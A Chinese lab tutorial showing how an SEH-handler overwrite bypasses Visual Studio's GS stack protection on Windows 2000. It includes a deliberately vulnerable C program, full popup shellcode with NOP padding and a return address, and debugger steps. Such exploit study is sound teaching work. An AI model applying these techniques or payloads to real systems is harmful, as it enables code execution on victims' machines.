攻擊異常丨處理突破GS保護

作者:黑蛋

1:簡述

針對緩沖區(qū)溢出覆蓋函數(shù)返回地址這一特征,微軟在編譯程序時使用了一個安全編譯選項--GS,?Visual Studio 2003 (VS 7.0)及以后版本的?Visual Studio?中默認(rèn)啟用了這個編譯選項。在所有函數(shù)調(diào)用時,會向棧中壓入一個DWORD,他是data段第一個DWORD與EBP亦或之后形成的值,處于EBP+4的位置,在所有函數(shù)執(zhí)行完返回時,會有一個檢查函數(shù),檢測EBP+4的值是否正確,正確則正常返回,反之進入異常處理流程,函數(shù)不會正常返回,這個操作叫?Security check,如果有緩沖區(qū)溢出函數(shù)返回值,勢必會淹沒Security Cookie,在函數(shù)返回之前由Security check檢查,發(fā)現(xiàn)EBP+4的值與原來的不一樣,進入異常處理流程,也會導(dǎo)致我們利用棧溢出失敗。本篇通過SEH處理函數(shù)在GS檢查函數(shù)之前的特征,通過制造異常,然后淹沒SEH處理函數(shù),使SEH異常函數(shù)指向我們的shellcode。詳細(xì)了解GS以及此技術(shù)可以參考《0day安全》這本書。

2:實驗環(huán)境

環(huán)境配置

調(diào)試器OD

編譯器Visual Studio 2005

操作系統(tǒng)Windows 2000 SP4

項目配置屬性->配置屬性->C/C++->優(yōu)化(禁用)

bulid版本realse

3:代碼

#include

#include

char shellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\xA0\xFE\x12\x00"

;

char shellcode2[]="\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x90"

???????"\x90\x90\x90\x90\x90\x90\x90\x00";

void test(char * input)

{


????char buf[200];

????strcpy(buf,input);

???strcat(buf,input);

}

void main()

{

????test(shellcode);

}

本段代碼在主函數(shù)中調(diào)用test函數(shù),傳入字符串,在test中定義一個200字節(jié)buf,然后拷貝傳入字符串到buf中,在test函數(shù)棧中,傳入字符串地址應(yīng)在EBP+8的位置,如果我們傳入字符串過長,他可以淹沒EBP+8的位置,之后再調(diào)用strcat拷貝函數(shù)的時候,找傳入字符串地址EBP+8的位置的時候會發(fā)生異常,進入SEH處理函數(shù)。

4:分析函數(shù)流程

首先傳入正常大小字符串shellcode2,分析函數(shù)棧內(nèi)情況:


image-20220718231035081

生成exe拖入OD:


image-20220718231110418

F8走過第一個call,再執(zhí)行第二個JMP:


image-20220718231226742

找主函數(shù)入口(根據(jù)經(jīng)驗,是退出函數(shù)上面三個push之后的call):


光標(biāo)放在箭頭處,F(xiàn)4運行到此處,F(xiàn)7進入call:


此處就是我們主函數(shù),call是test函數(shù),傳入的參數(shù)是shellcode2的地址,進入test函數(shù),并運行到strcpy函數(shù)之后:


觀察堆棧情況:


我們發(fā)現(xiàn)buf位置在0012FEA0,最近的SEH處理函數(shù)在EBP+44的位置,即0012FFB4,我們需要通過延遲傳入字符串淹沒這個地址,讓他指向buf的起始位置0012FEA0,我們需要增加字符串0x54字節(jié),并在最后四字節(jié)放入0012FEA0。接下來傳入構(gòu)造好的字符串,并生成exe,再根據(jù)之前步驟走到strcpy函數(shù)之后:

char shellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\xA0\xFE\x12\x00"

;

前面一段是我們的彈窗shellcode,之后用90填充其余部位,在最后四字節(jié)放入buf的首地址,現(xiàn)在觀察堆棧情況:


我們發(fā)現(xiàn)EBP位置已經(jīng)被淹沒,而SEH處理函數(shù)地址已經(jīng)指向buf的位置,放行程序繼續(xù)運行,到strcat函數(shù)的時候程序會發(fā)生異常,調(diào)用最近的SEH異常處理函數(shù),這里被我們修改為buf的起始位置,程序運行我們的shellcode,成功彈窗:


成功通過攻擊異常處理突破GS,達(dá)到我們的目的。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容